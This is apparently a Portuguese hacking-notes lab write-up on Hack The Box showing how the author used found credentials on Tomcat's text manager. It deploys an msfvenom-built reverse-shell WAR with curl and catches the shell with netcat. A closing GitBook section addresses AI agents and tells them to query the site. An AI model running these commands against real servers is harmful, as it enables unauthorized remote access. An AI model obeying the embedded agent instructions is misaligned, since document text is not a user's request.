> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/cms/tomcat-cms-exploitation/tomcat-text-based-manager.md).

# Tomcat Text Manager

### **Exploração do Tomcat Text Manager**

**Credenciais** encontrados :

`usuário = tomcat`

`senha = $3cureP4s5w0rd123!`

<figure><img src="/files/4d5b38bc7356176159e12fec732e0b86414c0bed" alt=""><figcaption></figcaption></figure>

**Tentativa de acesso** para `/manager/html` retorna um erro 403.<br>

<figure><img src="/files/eaa465e129594f4a0c59b3e0d5b6c625931e0ddf" alt=""><figcaption></figcaption></figure>

1. **Alternativa por meio de `/host-manager/html`**, mas não consegue criar uma aplicação a partir de um `.war` arquivo.

{% embed url="<https://www.certilience.fr/2019/03/tomcat-exploit-variant-host-manager/>" %}

<figure><img src="/files/4dea9ee2e5e6c82dd5c0195eafc6287dd7b90033" alt=""><figcaption></figcaption></figure>

**Liste as aplicações pela linha de comando:**

```bash
curl -u 'tomcat:$3cureP4s5w0rd123!' -s -X GET "http://megahosting.htb:8080/manager/text/list"
```

<figure><img src="/files/dacad1f9ec020a82364d7ec8068df26276e5ad42" alt=""><figcaption></figcaption></figure>

**Crie um arquivo WAR de shell reverso** por `msfvenom`:

{% code overflow="wrap" fullWidth="false" %}

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.7 LPORT=443 -f war -o reverse.war
```

{% endcode %}

<figure><img src="/files/c7e540e766e15886d266709aa4aefaf8d9bc4a43" alt="" width="563"><figcaption></figcaption></figure>

**Implante o arquivo WAR** com curl:

{% code overflow="wrap" %}

```bash
curl -s -u 'tomcat:$3cureP4s5w0rd123!' "http://megahosting.htb:8080/manager/text/deploy?path=/reverse" --upload-file reverse.war
```

{% endcode %}

<figure><img src="/files/3d74b658e16c977695961791b07a6429cb01f427" alt=""><figcaption></figcaption></figure>

**Aguarde a conexão do shell reverso**

```bash
nc -nlvp 443 
```

**Acesso ao shell reverso** por meio de `http://megahosting.htb:8080/reverse`.

<figure><img src="/files/ba9dd2d95f41604a4ed39f8bb9386ce77b223dc0" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/a6df7471dd1782dd0b69ebbd58b9a890d286fd5d" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/cms/tomcat-cms-exploitation/tomcat-text-based-manager.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
